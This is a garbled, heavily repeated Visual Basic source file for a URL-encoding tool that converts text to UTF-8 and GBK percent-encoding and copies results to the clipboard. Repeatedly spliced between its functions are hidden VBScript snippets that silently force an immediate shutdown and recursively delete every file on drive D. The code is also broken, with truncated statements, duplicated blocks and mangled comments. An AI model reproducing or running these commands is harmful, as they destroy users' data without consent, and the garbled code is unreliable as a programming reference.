Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = 